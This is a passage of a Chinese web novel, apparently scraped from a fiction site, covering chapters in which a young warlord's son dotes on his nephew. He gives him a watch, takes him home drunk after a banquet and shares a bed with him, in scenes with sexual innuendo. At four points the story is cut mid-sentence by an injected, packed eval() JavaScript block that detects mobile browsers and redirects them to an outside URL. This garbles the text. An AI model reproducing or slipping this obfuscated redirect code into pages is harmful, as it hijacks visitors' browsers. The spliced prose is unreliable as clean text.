真讽刺,如今他傅茂挤破头也只能看到杜会长的脚,而当初被他二十棍打出傅家的傅承轩,却已成了杜会长的座上宾。 “这就是你舅舅的调查结果?”傅家主突然道。 “啊?哦。”傅承闲挠挠头,不知道怎么回答才好,只能支支吾吾道,“大概是他来奉城的时候太短,不好查,爹你刚才不也没问出个所以然来么……” 孽子! 蠢材! 混账! 傅家主听得恼火,差点直接吐白沫,但自己那位大舅哥的确有势,得罪不得。 他深吸一口气,咬牙对傅承闲道:“你!明天去找傅承轩,就说……就说云珠头七过后家里办法会,要给亡者增福,请他回家用饭顺道商量这件事。还有念斐大学快毕业了,这孩子的未来也得邀他一起来打算一下。总之!请不来人你就别回来了!听到没有!” 傅承闲:“哦……” 这又关他什么事儿?!他娘他爹怎么一个两个的都让他跑腿? 傅家主交代完这点事索性回家了,毕竟名片已发过一轮,再待下去反倒损伤颜面。傅承闲却是留下了,他还记得他娘交代的任务,去结识一下那位焦副行长的女儿焦小姐。 8. 8-手表 人群中,傅承轩一直拉着傅念斐的手腕。 小外甥明显不适应这样的场合,有人靠太近会紧张,傅承轩就把傅念斐往自己身边拽,渐渐便发展为揽住小外甥的肩。 他俩都是身着西装的年轻俊俏公子,举止又亲密,难免有人问:“这位是?” 傅承轩笑着答:“这是我小外甥傅念斐,还有一年就毕业了,说不准也要经商,不过全看他喜欢。” 众人一听便明白了。纷纷笑道:“经商也好从政也好,在场的叔叔伯伯从今天起便算是看着你长大的,别的不说,提携不能少。” 傅念斐脑子发懵,他心说明明打算来蹭饭的,怎么发展成如今这样了? 但他聪明,知道小舅舅这是在给自己铺路,于是客客气气道谢:“谢谢各位叔伯,念斐定当努力,不敢懈怠。” 杜会长在旁边听了一耳朵,跟傅承轩感慨:“真一看就是个乖外甥,怪不得你宝贝的跟眼珠子一样,合着就我家那个是吞金兽,天天就知道要钱买糖买话本,不给就哭,忒爱哭,鼻涕抹的哪儿都是。” 傅承轩笑笑:“我外甥也爱哭。” 但哭起来好看,不抹鼻涕。 他挺喜欢看外甥哭。 其中原因不足为外人道。 傅念斐抿唇:“舅舅!” 傅承轩当着众人贴在他耳边道:“舅舅错了,念斐最有男子气概,从不哭,眼睛也不会肿的像核桃。” 薄软的嘴唇擦过耳畔,滚热的吐息涌进耳道,傅念斐汗毛一炸,只听见傅承轩叽里咕噜一阵儿却完全不知道对方说的是什么,于是只能憋出一句。 “嗯嗯,知道了舅舅。” 敷衍人的功力十分深厚。 傅承轩:…… 什么就知道了,当着我的面走神? - 傅承轩误以为傅念斐紧张太过,当即弃杜会长而去,带外甥出去透气。 宴会中的名流们不知道他真实身份,大多还是追着杜会长来的,因此傅承轩和傅念斐两人一离开人群便得了清净。 傅念斐跟在小舅舅身侧,时不时用眼角偷瞄对方一眼,内心甜蜜,挺满足。 如果一辈子都这样就好了,只有我和舅舅两个,走走停停,看看风景说说话,简直是神仙日子…… 他心里有话想问,但一时没来得及开口,反倒是傅承轩先开口了。 “念斐,坐。” 傅承轩攥着小外甥的手腕,带对方到凉亭里坐下,直抒胸臆,“念斐,等毕业之后,有想做的事没有?” 他清楚这个年纪的男孩子总有这样那样的抱负,傅家是绝不会容许小外甥施展的,所以他想先听听念斐的想法,并不想把自己认为最好的出路强加在对方身上。 傅念斐想了想:“过去是有的,想考官费留学,去美国念硕士博士,再回奉城大学做个大学教授,一辈子安安稳稳的,让我娘放心。” 他顿了一下,“但舅舅回来之后,还没想好……” 他小声补充:“其实,我能跟舅舅在一起就行,不是非得留学,当大学教授也没什么意思。” 一去好几年,万一回来之后舅舅跟别人好上怎么办?悔死了。 傅承轩挑起眉梢:“这是……想让我陪读?” 嗯?! 傅念斐眼前一亮:“行吗?” 傅承轩屈指弹向傅念斐额头,唇角微弯:“你若真想去留学再说,我可不会轻易答应你。” 傅念斐捂住额头,眼睛一转:“哦!舅舅现在是在经商对不对?你问我这个是不是因为缺帮手?我愿意给舅舅做帮手,我可以去修管理学和贸易。” 傅承轩再弹傅念斐额头:“我帮手多了,不缺你这个大学都没毕业的毛头小子。” 傅念斐气馁:“只要能跟舅舅在一起我做什么都行,我说的是真话。” 傅承轩作势屈指,傅念斐连忙捂住额头,傅承轩手腕一压弹在傅念斐鼻尖上,小外甥唔一声:“舅舅!” 傅承轩终于收手:“都这么大了还想做舅舅的跟屁虫,弹你三下清醒清醒。” 傅家是个不算舒服但很安稳的窝,为了让傅念斐不跟傅承闲抢食,小外甥被“保护”的很好。无论傅家出于什么目的,结果都是傅念斐阅历有限,很容易摸不清自己真正想要什么。 职业上是这样。 恐怕感情上也是这样。 傅承轩盯着傅念斐那双含情带怯的眼睛,心想,即便小舅舅是个傻子也该看出来了,可雏鸟般没见过天宽地阔的稚嫩青年,这点旧时依恋激发出的冲动又能持续多久呢? 他叹气,捏捏傅念斐沮丧的脸,从兜里掏出一个小盒子:“给你的,准备好久了,看看喜不喜欢,就当我弹你三下的歉礼吧。” 傅念斐接过盒子,心说舅舅亏了,被你弹一辈子我也愿意。 盒子有巴掌大,墨绿色的天鹅绒外壳,一看就不便宜。傅念斐心知肚明这么大的盒子绝对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286102|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是婚戒,却还是在心里默念I DO、I DO、I DO…… 他红着耳根打开盒子,面上一愣:“这是……” 傅承轩淡笑,挽起傅念斐的袖子,将天鹅绒盒里的手表拿出来给小外甥仔细戴上。 表带是银色,上面有精致的欧式花纹雕刻,表盘是用贝母和绿宝石镶嵌成的一只小猫。 “你还记不记得有一年中秋,你娘带咱俩去兴茂大楼?你瞧见有块手表上用宝石嵌着小猫,也不说想要,就眼巴巴看着,在那儿站了半天挪不动步。云珠姐去问价钱,才知道是别人定制的,价格要几千块银元。” 傅念斐说记得:“太贵,当时吓死我了。那时候傅家情况就不太好,大房每月从账上能领的银元也就几百,咱们还得读书吃饭呢,父亲想去奉城大学就职也需要备礼疏通,没道理买那种东西。” 傅承轩点点头:“你懂事,后来就不了了之了,但我记着呢。” 他停顿一下才继续说,“念斐,只要是你真正想要的东西,即便晚一点儿,舅舅也会给你的。” 他说这话的时候盯着傅念斐的眼睛,嘴上说的是手表,实际只有他自己知道自己在说什么。 傅念斐不懂其中深意,但他心里感动,当即起身抱了傅承轩一下:“小舅舅,你……我……” 他你你我我半天,真正想说的话没法说,一时间又想不到什么合适的话度过这等场面,脸都憋红了。 傅承轩垂眸笑笑,就着这个姿势双臂用力紧拥了一下怀中的小外甥,他力气很大,抱得突然,傅念斐一哆嗦,差点直接腿软跪在地上。 两人一时无话。 抱了好几秒才分开。 傅承轩看着自己抱过外甥的手心,搓搓指腹。傅念斐则专注地盯视新手表,实际整个上半身都在因刚才突如其来的紧拥而颤抖。 半晌,傅念斐凌乱无序的脑子终于想起自己是有事要问舅舅的。 灵堂相见那晚傅承轩走得匆忙,他们来不及细说。次日又是傅云珠出殡的日子,傅家人和往来吊客的眼睛盯着,两人虽站在一处,却始终没来得及说上几句话。 他想知道小舅舅那晚从娘嘴里取出了什么,又为何要检查自己的口腔。 然而他刚要张嘴,便见宁小六急匆匆跑过来:“东家,有消息了。” 傅承轩颔首,轻拍傅念斐肩膀:“出去吃点东西吧,我有点事,等下找你。” 傅念斐只得把疑问咽回肚子里。 9. 9-不走 傅承轩注视着傅念斐一步三回头地离去,眸底温柔,唇角忍不住漾出一抹笑纹。 他心道小外甥太年轻,藏不住秘密,尤其是在自己这种本就心思不纯的人面前。 宁小六眼珠子在傅承轩和傅念斐间来回游移,像西洋钟的钟摆:“乖乖,少帅您自打见到念斐小少爷之后,简直跟变了个人一样……” 过去他们总觉得少帅面若冰霜,今天才晓得那冰霜是奶油冰棍的冰霜。 化了之后甜的粘牙。 傅承轩的表情重归冷淡,瞥了宁小六一眼:“啰嗦,说。” 宁小六:…… 得,奶油冰棍儿又冻上了,说话跟打字机一样,一个字儿两个字儿的蹦,吓人。 他轻咳一声,躬身道:“负责巡逻的兄弟们说,今日在城西那边发现了几个鬼祟的,但对方消失得太快,毛儿都没摸着。我琢磨着赵系一派盘踞奉城多年,上到商贾要员下到帮.派走卒,难免不会有人窝藏他们,所以这群余孽才难找,要不……咱封城搜一轮试试?” 前段时间傅承轩亲手炸断赵兴逃亡的铁路,可清点遗骸时却发现,赵兴的随行人员中少了几个人。 消失的几人皆是赵兴亲信,对奉城内部十分熟悉。他们若是外逃还好,若是向奉城内部跑,则必是打定主意要再起波澜。 不幸,今日的消息证实这些人的确还在奉城内部,只是不知到底躲在哪里。 傅承轩食指微动轻敲膝盖,沉吟片刻道:“封城搜索虽然有效但戾气太重,让人觉得宁军多疑不好相与,后面想和本地名流共谋大事就会平添阻碍……” 即便是皇帝在位的封建时期,大家也都想跟仁君、明君、有容之君,何况现在。 他突然停住手指上的动作:“其实还有一个可能。” 宁小六面露不解。 傅承轩缓缓吐字:“地下通道。” “地下通道?怪不得那群人神出鬼没的。”宁小六恍然大悟,“那我们接下来怎么办?从赵兴住的大帅府开始查?” 傅承轩:“地道不一定只有一条,大帅府要查,他常去的酒楼、烟管也要查。守好奉城出入口,巡逻盘查继续从严,剩下的就等。有我做饵,他们会出来的。” 宁小六答应一声,但在原地踯躅没走,支支吾吾说:“少帅,还有一件事。” 他声音更低了,凑近傅承轩嘀嘀咕咕说了半天,傅承轩越听越皱眉,脸色很不好看。 “秦夕?” 这名字耳熟,好像的确听念斐提过。 - 傅念斐只要离开小舅舅超过五米远,心情便会立刻变得无欲无求、百无聊赖起来。 人活着是为了什么呢? 就是为个盼头。 有人盼出人头地、有人盼子孙满堂、有人盼富可敌国……傅念斐没出息,他只盼着能和舅舅一辈子在一起。 他向来不是什么有为青年,傅家也不愿让他有为。更不算有志青年,过去唯一的志就是希望娘和小舅舅平安喜乐。 现在娘去了,他只剩舅舅了。 几分钟看不见就想得慌。 做人太黏人是一件很吓人的事,他二舅舅傅承闲经常这样评价他那些相好。每当相好们变得黏人,傅承闲就嫌烦,开始躲着对方、故意用新相好气对方,直到对方自动放弃为止。 偶尔也有想来傅家闹的,但有汪局长这层关系在,还没等开始闹就被带走了,最后经常不了了之。 傅念斐心想,我不是爱闹的人,但我怕舅舅躲着我、不理我,所以我得控制自己一点,不能太黏舅舅,省得他烦我。 他嘴上这么说,眼睛却一直往傅承轩和宁小六所在的院子瞄,眼神黏得快拉丝,直到有几个比他大不了几岁的年轻人找上他。 这几个年轻人倒不是找茬的,都笑眯眯很亲善,跟傅念斐一样是被家中长辈带出来见世面的。 青年人初出茅庐,和觥筹交错商谈大事的长辈们搭不上话,就只能和同辈的聊聊,这才找上傅念斐一起闲聊吃酒。 “念斐老弟也是奉城大学的学生?巧了,我家小弟也是。他这次考试成绩不好,父亲罚他不许参加宴会,否则你们定有话聊。” “念斐兄平时听不听戏?听京剧还是绍兴戏?这几日奉城来了个新戏班,据说是从平城过来的,改次咱几个一起去。” “去湖边野餐也好,还能一同骑脚踏车。你不会?没关系,我们教你。” 这几人七嘴八舌很健谈,一看就是平时不少社交的少爷式人物。傅念斐头一回参加这种场合,又是第一次喝洋酒,在没垫肚子的情况下就跟他们喝了好几杯威士忌。 傅念斐不懂什么是威士忌,更不懂什么叫加冰不搁苏打,他只觉得这酒真难喝。 可酒这东西的妙处就在于几口下去便让人微醺上头,飘飘忽忽不知所以然,以至于傅念斐越咂摸越好奇,品着品着就多了。 他感觉自己脸好热,想睡觉,两腿站不直。 “念斐兄?念斐兄?” “是不是喝多了?” “妈呀,他喝几杯了?” “好像三杯。” “才三杯?醉成这样?” “舅……舅舅……”傅念斐仰着脖子小声嘀咕,双目绯红含水凝望水晶吊灯,只觉得漫天都是闪闪发光的舅舅,对方在耀眼的灯球里熠熠生辉,英俊威武。 “舅……” 旁边人侧耳倾听,连连摇头。 “酒?念斐兄还要酒,这可不行,不能再喝了,真是我们的过错。” 傅念斐:“舅……” 旁边人:“不能再要酒了!” 傅念斐:“舅!” 旁边人:“不成!” 说曹操曹操到。 傅承轩刚从花园出来,便看到正扒在别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286103|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身上面红耳赤的傅念斐,嘴里叨念着:“救……救……” 傅承轩登时面色一变。 他长腿一迈,几步便上前把傅念斐从别人怀里捞出来,紧紧抱住,按着傅念斐的后脑埋进自己颈间,眯起眼眸扫过几人的脸。 这眼神对初出茅庐的小崽子们来说简直如利刃封喉,即便年龄最大自诩见过几分世面的那位都汗毛一竖,好半天才憋出两个字。 “您、您好。” 傅承轩盯向他:“怎么回事?” 对方紧张地磕磕绊绊:“我们同念斐老弟闲聊,他一时高兴,多喝了几杯,就……” 几人先是解释了一番,随后自报家门,都是实业商人的子弟,他们的父亲傅承轩也有所耳闻,家风不坏,不是傅家主那种管生不管养的人。 气氛总算一松。 几人连忙擦汗。 傅承轩已知是个误会,先是神情一缓跟几人道歉,随后拿出名片递给他们:“今日唐突各位实在不好意思,在下是宁远渡轮股份有限公司的常务董事兼平城商会董事,现在奉城货运航线紧俏,有用得上我的地方尽管联系。” 奉城铁路被炸,渡轮就是货运大头,这几个年轻人都是实业商人子弟,父辈在奉城颇有威望、也善审时度势,他们用得上自己,自己也正好将这些人作为融入奉城商界的突破口。 小念斐真是个福星。 几个年轻人同样颇为惊喜,刚杜会长只介绍傅先生是自己朋友,可没说对方是渡轮公司董事。于是他们全然忘记刚才的不快,又纷纷跟傅承轩约好改日拜访,说了些客气话,这才走了。 他们几个前前后后说了不少话,却对半梦半醒的傅念斐一点儿影响都没有,他被傅承轩按在怀里靠得舒舒服服,再这么下去真就要彻底睡熟开始流口水了。 醉鬼最重,傅承轩身上的伤还得养几日,不好背他抱他,只能半拖半抱带着他往外走。 门外夜风温软,绵软轻拂,傅念斐终于睁开迷茫的眼睛:“舅舅?宴会结束了?” 傅承轩伸手盖住小外甥的额头给他挡风:“没呢,咱们先走。低点儿头上车再说,今夜风大,当心着凉。” 帮他们打开后车门的宁老八面露疑惑,先是看看少帅,又看看夜空。 风大?有风? 车门一关,说好不再黏人的傅念斐立刻抓手揽腰循着热度又黏到他舅舅身上,找了个最舒服的姿势打算继续呼呼大睡。 傅承轩眼睛微弯,拍拍小外甥后背:“别急着睡,现在时间不早了,你是回傅家还是跟我走?” 傅念斐想都没想便答:“舅舅去哪儿我去哪儿,舅舅别离开我。” 他说完抱傅承轩抱得更紧,醉醺醺的脸上有些不安。 傅承轩抬眼扫向驾驶位的宁老八,用眼神示意老八开车,然后撸着傅念斐后脑勺上的小乱毛轻声安慰:“舅舅不走,念斐别怕。” 10. 10-耕牛 这一路上,傅承轩的脸颊贴在小外甥头顶,傅念斐半张脸埋进小舅舅颈窝,两人腻腻乎乎贴在一起热乎又舒服。 酒醉的人呼吸过新鲜空气后,虽困倦疲惫却不一定能即刻睡着,傅念斐亦然。 他借着酒劲儿絮絮不停,开始诉说这么多年的担心和思念,埋怨舅舅一失联就是半年,让他整日食不下咽恨不能一起跟傅承轩死掉。 傅承轩心疼,紧紧抱着小外甥解释,说失联半年实属迫不得已,事发突然,是为了保障你和你娘的安全才出此下策,这种事儿以后再没有了,他发誓。 傅念斐仍是忍不住流泪,他哽咽了一声点点头,说反正舅舅平安回来就好,如若再离开奉城无论去哪儿都要带着我,死也得一起死。 傅承轩说放心,以后念斐在哪儿舅舅在哪儿,再不走了。 却绝口不提对方想要死同穴的要求,毕竟他们差六岁,想也知道是傅念斐吃亏。 傅念斐听到傅承轩再不离开的承诺终于心里一松,眼泪却止不住,仍然默默流,时不时哽咽一声。 半晌,他蹭蹭傅承轩的颈窝,动情道:“舅舅……下辈子别做我舅舅了。” 傅念斐哭的眼睛像兔子,可怜又可爱,傅承轩心软如水又甜又苦。 他心道:我的小念斐,等你真正见过花花世界到底什么样,到时还能下定决心跟着舅舅一辈子不悔的时候,舅舅立刻带你回平城结婚,看谁敢说个不字,我亲爹反对都不成。 然而下一秒,傅念斐哽咽着继续道:“下辈子我做你舅舅,我照顾你……” 傅承轩:…… 傅承轩深吸一口气,气得闭上眼,只觉得刚才的真情流露尽数喂了狗:“乖,别哭了,明天眼睛又要肿。” 眼睛肿又要变难看。 傅念斐连忙点头,安静不少。 被迫聆听一路的宁老八吸吸鼻子十分感动,他暗道少帅和念斐小少爷舅甥情深,即便是铁石心肠的人都会觉得动容。 你看,少帅感动得闭着眼睛都说不出话了。 傅承轩开始闭目养神,傅念斐也学着闭上眼,没多久他就开始昏昏欲睡,和幼时一样习惯性地将傅承轩的食指攥在手心。 傅承轩心里叹气,愈发觉得傅念斐还是个没长大的孩子。 年轻男孩最不定性。 今天爱小猫,明天爱小狗。今天觉得足球赛马好玩,明天又觉得跳舞听戏热闹。 现在觉得舅舅好,仰慕。将来说不定就觉得舅舅管束太多,要烦了。 他固然愿意宠傅念斐一辈子,要星星不给月亮,却也怕今天还在追逐自己的小外甥,明天就会去追逐别人…… 我总不能剥夺他做正常男子的权力吧,他说不准会恨我。娶妻生子、儿孙绕膝,万一他将来想要这个怎么办? 傅承轩越想越觉得有可能,心里堵得难受,缓缓睁开眼睛问傅念斐:“宴会好不好玩,下次还想不想来。” 刚要睡着的傅念斐只得睁开眼睛慢慢答,说好玩,认识了几个新朋友,人都不错,要带他听戏、郊游,还说要教他骑脚踏车。宴会东西也好吃,下次也想来。 看吧,我就知道,新朋友的吸引力很大。 傅承轩抿着唇说可以,但下次不能喝这么多酒了,一场宴会只能喝一杯,谁敢灌你酒你只管转头就走,谁的面子都不用给,舅舅给你擦屁股。 傅念斐心里甜丝丝,说知道了,舅舅真好。 傅承轩又问:“新朋友好还是舅舅好?” 傅念斐茫然,心说这有什么可比性?但还是带着熏然酒气甜言蜜语:“舅舅好,无论跟谁比都是舅舅好,舅舅最好了。” 他嘴上不停重复着舅舅最好,心里也是这么想的,但身体实在支撑不住,眼皮一直打架,上下眼睫毛几乎要黏在一起了,声音也愈发小。 傅承轩盯着傅念斐看,没出声,不知道是不是嫌对方敷衍。 天不遂困者愿。 傅念斐几乎入睡的前一刻又被吵醒了,轿车停在宁雅公馆大门口,宁老八回头小声提醒:“东家,到了。” 宁雅公馆,这便是傅承轩给傅念斐置办的产业,三层小楼样子气派,共二十几个房间,后面还有个小花园。 傅承轩不喜人太多,只请了五个佣人和厨子,额外有个西点师傅是为傅念斐准备的,每天烤烤甜面包和黄油饼干给小外甥吃,傅念斐从小就爱这个。 总之小外甥不想住傅家了就来这儿住,人这一辈子无非衣食住行,就算傅念斐什么都不做自己只想做米虫,自己也会养着他的。 “念斐,下车了。” 傅念斐这一路先是说话然后又哭,哭完了又要回答他舅舅的问题,原本困得不行了,结果刚要睡着又被叫醒,整个人都晕乎乎的。 “哦……”傅念斐答应了一声就又要闭眼,屁股挪都没挪一下。 傅承轩捏捏他硌出印子的脸,忍不住笑:“念斐,进屋再睡,等下喝个醒酒汤,省得早上头疼。自己能走吗?” 傅念斐睁眼闭眼,闭眼又睁眼,缓和了好半天才盯着傅承轩点点头:“能走,舅舅……” “嗯?怎么?” “我想跟你睡。” - 傅念斐打小就爱跟傅承轩挤着睡,两个男孩子也没什么可防的,傅云珠向来随他们去。 一开始傅念斐还害羞,只偶尔张嘴求舅舅陪睡,更不敢多提讲故事之类的要求,后来傅承轩太纵他,有求必应,两人稀里糊涂就变成夜夜同寝,睡前要么讲个故事,要么说点悄悄话……直到傅承轩十八岁被打出傅家那天为止。 没有傅承轩在身边,傅念斐一开始根本睡不着。他听说人有头七,会回家看看,便也不怕鬼了,晚上撑着不睡觉等傅承轩的魂回家。 他自然等不到傅承轩的魂,于是白天就哭,哭得太厉害还会吐,根本吃不下饭,晚上继续瞪着眼睛等,傅云珠让他睡觉也不听,闭上眼睛假睡。 这样来回来去折腾,精力再旺盛的少年人也顶不住,很快傅念斐便大病一场,当真差点死掉。 傅念斐躺在宁雅公馆柔软的大床上,裹着傅承轩亲自挑选的真丝床褥,心道幸好当初没死成,否则就见不到舅舅了…… 酒醉的人最容易胡思乱想,傅念斐回忆了一会儿过去,现在又开始想他娘。 他觉得他娘命苦,那么多年都熬过来了,还是差了几天没见到小舅舅。 可他又觉得不熬着也好,傅云珠身体太差,当活着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅承轩:…… “耕牛”勤恳,再累也不闭眼,娘买的西装舍不得往地上扔,脱下来就得叠上。然而他眼前重影看不清,手又不好使,袖口对裤腿,领口塞□□,再这么叠下去后厨的鸡就有新地方下蛋了。 傅承轩终于看不下去,抖开睡衣给傅念斐套上,冰凉的真丝睡衣给傅念斐激起一身鸡皮疙瘩,系扣子的时候还会有呼吸打在他胸膛上。换睡裤的时候更是,傅承轩拎着裤子的指节难免蹭上他大腿,傅念斐傻呆呆地望着天花板,忍不住哼哼几声。 傅承轩往上拽裤子的时候一顿,他抬眸瞥了一眼呆愣愣的小外甥,唇角一弯:“年轻人。” 火气旺。 他不由自主升起坏心,轻轻朝那边吹了口气。傅念斐哼哼着又是一抖,双腿夹得紧紧的,让人忍不住联想这样两条腿夹在腰上是什么滋味。 傅承轩喉结一滚,到底是自持身份特殊,又不该趁人之危,只闭了会儿眼睛便端着汤碗出门了。 真丝睡衣冰凉宽松,年轻人本人缓和了半晌才觉得身体恢复如初,没那么热了,根本不知道自己在小舅舅面前支棱过片刻。 想睡觉,但要抱着舅舅睡,舅舅答应过的。可傅念斐环顾四周,却发现房间空荡荡,傅承轩不知什么时候不见了。 “舅舅……舅舅?” 11. 11-挠挠 傅念斐喊了几声没人应,他开始害怕,他怕这几天的事儿都是一场梦。 万一舅舅根本没回来过怎么办?万一舅舅回来之后又走了怎么办?上次舅舅说断联就断联,万一这次也是怎么办? 洗过澡的傅承轩刚一进屋,便看到歪七扭八正往床下滚的傅念斐,他无奈叹气,快步上前一把捞住软成烂泥的小外甥:“又玩儿什么呢?怎么不睡觉?” “舅舅!”傅念斐眼睛一亮,紧抱住傅承轩不放,“我以为你又走了……” 傅承轩顿时哑口无言,只得隔着轻薄的睡衣安抚小外甥脊背,用自己的额头顶了下傅念斐的,柔声道:“舅舅既然答应你不走,就一定说到做到。别怕,睡吧。” 他把傅念斐塞回被子,自己也跟着躺在一起。小舅舅热乎乎的身体就在怀里,傅念斐心安不少,困意再次上涌,打了个哈欠。 “舅舅……”他迷糊糊道,“你帮我挠挠吧,我让蚊子叮了个包。” 让舅舅帮忙挠背最舒服了,傅念斐摸索到傅承轩的手腕握住,将对方的手放在自己背上:“腰那里,好大一个。” 二十岁青年柔韧的腰触手生温,肌理紧实手感极好。傅承轩的手是打过仗拿过枪的手,掌心那层薄茧牵手时令人心安,摸在身上若是力道不对就会令人发痒。 傅念斐忍不住嘿嘿笑,再加上酒劲儿没散脸还红着,看上去就像个小傻子:“舅舅,你摸的我痒痒,鸡皮疙瘩都起来了。” 傅承轩此刻根本没心思理他,双眼一闭摸到蚊子包便挠,他只求这位小祖宗尽快睡觉,别在自己怀里蹭来蹭去没轻没重,否则他等下又要去洗冷水澡。 傅念斐享受地“哼哼”两声,又开始提要求:“舅舅……好舒服,再重点。” 傅承轩双目微合喉结滚动,心里暗道一声“污言秽语”,嘴上却说:“快睡吧,再闹天都亮了。” 傅念斐继续哼哼:“刚喝的汤还没消化呢,涨得慌,要不舅舅你帮我揉揉肚子吧?” 傅承轩佯装不满拍他后腰一下:“使唤我呢?” 还揉肚子,等下你再支棱起来是不是还要喊我揉别的地方? 傅念斐忙道:“我才没使唤你呢,我也给你挠,咱们交换。” 他说完就把手往傅承轩衣服里伸,说不上是临时起意还是蓄谋已久,反正下手没轻没重。 傅承轩尚未来得及制止,突然皱着眉头“嗯”了一声,随后便听傅念斐道:“嗯?舅舅,你也有包……” 傅承轩:…… 傅承轩差点气笑了,他心说谁往前摸都有俩包,你当谁都跟你一样招蚊子呢? 他死死按住正试图帮他在“包”上掐十字的小外甥,将对方不安分的小爪子扔远:“欠收拾,睡觉。” 傅念斐稀里糊涂就被翻过去了,跟舅舅后背贴胸膛,两只手的手腕还被傅承轩单手捏着锢在身前,很难挣脱。 不过这个姿势也挺好,傅念斐随遇而安往后一贴,没过多久就睡沉了。 傅承轩可算松了一口气,他轻轻放开小外甥的手腕,打算下床再冲一次冷水澡。 二十六岁,也是年轻人。 火力旺。 - 两人睡到日上三竿方悠悠转醒,若不是宁小六敲门叫他们,傅念斐还能继续睡。 傅承轩倒是醒得早,他常年打仗不习惯睡懒觉,但看小外甥睡得沉,他也就舍不得“醒”了。 被敲门声吵醒的傅念斐在傅承轩怀里缓缓睁眼,五感回归,当感受到身边热乎乎的男性躯体时,傅念斐吓得嗖一下坐起来,又咣当一声晕着倒回床上,目眩了半天没说话。 人生第一次喝多的他有些断片儿,完全忘了自己在哪儿更想不起身边是谁,还以为自己像二舅舅一样跟人酒后乱那个了。 傅承轩:“急什么?慢点儿起,当心头晕。” “舅舅?”傅念斐这才放心,摊平四肢长舒一口气,“是你啊……吓我一跳。” 傅承轩一时没出声,半晌才眯起眼睛淡淡道:“不是我是谁?你的新朋友?” 新朋友这事儿在傅承轩这儿只一日两日是过不去的,傅念斐却十分迷茫:“什么新朋友?” 傅承轩盯了他半天,觉得不像装的,这才高兴了点:“没什么,醒了就先洗澡去,等下吃午饭。” “哦……” 傅念斐一边洗澡一边琢磨什么是新朋友,他心说自己昨晚的确跟几个同龄人聊过几句,但说的什么早忘了,还不至于到朋友的地步吧…… 小舅舅说的是他们吗?小舅舅怎么知道他们的?自己是怎么跟舅舅回来的来着? ……嘶,全忘了。 他擦干头发换上傅承轩给他准备的新长衫,柔软舒服的月白色软缎,大小也刚合适,是傅念斐最喜欢的长衫料子,足见购衣人的用心。 连买普通长衫都这样用心,若是将来有天要挑嫁衣,不知会多用心。 傅念斐心里甜蜜饱胀,他心想小舅舅最好了,温柔贴心、英俊稳重、成熟可靠……应当没人抵抗得了这样的傅承轩。 唉…… 没错,没人抵抗得了。 就连二舅舅那样的人身边都围满莺莺燕燕,更何况小舅舅这种神仙人物。 肯定有不少人喜欢小舅舅。 也不知小舅舅有喜欢的人没有。 烦死了。 傅念斐面上的笑容渐渐消失,亮晶晶的眸子逐渐暗淡,他一路垂头丧气走到饭厅坐下,连欣赏屋内陈设的心思都没有,眉眼耷拉嘴也抿着,整个人都是暗淡的。 好在傅承轩知道他只是洗了个澡,否则傅家又要倒霉了。 傅承轩手拿报纸坐在餐桌边,眼睁睁看着小外甥一路丧气地走过来,十分迷惑:“酒没醒吗?不舒服?还是新衣服不喜欢?” 傅念斐乖乖答:“醒了,没不舒服,很喜欢。” “那你这是……”傅承轩挑眉。 傅念斐闷闷道:“没什么,一会儿就好了。” 孩子长大了果然有秘密,傅承轩觉得挺有意思,他忍不住笑了一声,放下报纸,没再说什么。毕竟今天最重要的事,是让大夫看看傅念斐身上的毒。 那晚傅承轩走得匆忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286105|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没来得及告诉傅念斐给他娘换口玉的前因后果,但他回来一想,小外甥至少还得在傅家住上几天才能跟自己见面,所以不知道也好,省得面上藏不住事儿打草惊蛇。 傅念斐牙侧发灰的确中的是慢毒,虽没有傅云珠严重,却也是长久累积才会留下的症状。 是故意针对还是意外牵连傅承轩一时说不好,总之傅家上下最近无甚异动,傅承轩对下毒之人的身份也只能猜测,证据却是半点没有。 能逼对方自己跳出来是最好的。 但得有契机,难办。 新来的佣人很殷勤,看得出傅承轩对这位小外甥很特别,因此都尽心竭力地伺候。 傅念斐刚一坐下就被勤快的婆子添了一碗肉粥,还夹了几口菜,就连新来的厨子都过来问他:“念斐小少爷快尝尝,可还合口味?” 宁雅公馆新请的厨子曾是永福楼的掌勺之一,被傅承轩重金挖来的,现在每月薪水跟大学教授差不多了。大学教授,这可是傅念斐他爹努力了一辈子都没拿下的职位和薪水。 